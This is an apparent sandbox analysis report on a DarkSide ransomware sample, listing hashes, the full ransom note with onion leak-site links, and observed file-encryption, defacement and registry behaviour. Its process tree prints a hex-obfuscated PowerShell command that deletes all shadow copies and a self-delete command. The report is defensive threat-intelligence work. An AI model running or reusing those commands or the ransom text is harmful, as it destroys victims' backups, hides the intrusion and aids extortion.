darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
109s
max time network
107s
platform
windows7_x64
resource
win7v20210410
submitted
12-05-2021 19:34

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General

Target

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Size

59KB
MD5

cfcfb68901ffe513e9f0d76b17d02f96
SHA1

766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f
SHA256

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61
SHA512

0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 7 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\TraceRevoke.tiff	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\TraceRevoke.tiff => C:\Users\Admin\Pictures\TraceRevoke.tiff.341d6443	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\TraceRevoke.tiff.341d6443	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\OptimizeFormat.tif => C:\Users\Admin\Pictures\OptimizeFormat.tif.341d6443	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\OptimizeFormat.tif.341d6443	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File renamed	C:\Users\Admin\Pictures\RequestApprove.crw => C:\Users\Admin\Pictures\RequestApprove.crw.341d6443	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
File opened for modification	C:\Users\Admin\Pictures\RequestApprove.crw.341d6443	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2824 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2824	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

pid process

1996 17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Modifies registry class 5 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico"	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

pid	process
1528	powershell.exe
1528	powershell.exe
1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSecurityPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeTakeOwnershipPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeLoadDriverPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemProfilePrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemtimePrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeProfSingleProcessPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeIncBasePriorityPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeCreatePagefilePrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeBackupPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeRestorePrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeShutdownPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeDebugPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeSystemEnvironmentPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeRemoteShutdownPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeUndockPrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeManageVolumePrivilege	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 33	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 34	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: 35	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeBackupPrivilege	1692	vssvc.exe
Token: SeRestorePrivilege	1692	vssvc.exe
Token: SeAuditPrivilege	1692	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe

description	pid	process	target process
PID 1996 wrote to memory of 1528	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	powershell.exe
PID 1996 wrote to memory of 1528	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	powershell.exe
PID 1996 wrote to memory of 1528	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	powershell.exe
PID 1996 wrote to memory of 1528	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	powershell.exe
PID 1996 wrote to memory of 2824	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	cmd.exe
PID 1996 wrote to memory of 2824	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	cmd.exe
PID 1996 wrote to memory of 2824	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	cmd.exe
PID 1996 wrote to memory of 2824	1996	17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
"C:\Users\Admin\AppData\Local\Temp\17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1528
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\17139A~1.EXE >> NUL
  2⤵
  - Deletes itself
  PID:2824

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5
a266879658fe10c63ccbd4205570f0c9

SHA1
78ef7d4fac3e84bc38dbfd2dfae0d986af39b5db

SHA256
818e136449058f36d28aa1a3536ab877d056f05060650e783dc6a11bd54adf2a

SHA512
f5d3cb12bf4aa809f3eb76942a46968fbc054b3812aae453469aa38bcae71a591c82fab023e8e0f6d3f14697ef9113014506a4979beb625abfcb0e5dda32cf6f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
c91da46e947881a9b1fd24b671db7eef

SHA1
028df5e2bcfb7cd0423a3d29e378c68ff04cabde

SHA256
3bc9d03589907f6dcf67ebe0a1fd1d2edbedb87888857d01f8e16478e283eb94

SHA512
5c536a55f3a7e2ed74be173431ed7d6cf17ac2ca9bbda89e5250d9969926c77e8d3fa127059916a1d5a77bcc5fe55ae9eb52c165e92ae4294b97464e33f241d8

Download Submit
memory/1528-66-0x0000000002554000-0x0000000002556000-memory.dmp

Filesize
8KB

Download
memory/1528-63-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/1528-64-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

Filesize
4KB

Download
memory/1528-65-0x0000000002550000-0x0000000002552000-memory.dmp

Filesize
8KB

Download
memory/1528-67-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/1528-68-0x0000000002460000-0x0000000002461000-memory.dmp

Filesize
4KB

Download
memory/1528-69-0x000000001C540000-0x000000001C541000-memory.dmp

Filesize
4KB

Download
memory/1528-70-0x000000001C430000-0x000000001C431000-memory.dmp

Filesize
4KB

Download
memory/1528-62-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

Filesize
8KB

Download
memory/1528-61-0x0000000000000000-mapping.dmp

Download
memory/1996-60-0x0000000075D41000-0x0000000075D43000-memory.dmp

Filesize
8KB

Download
memory/2824-73-0x0000000000000000-mapping.dmp

Download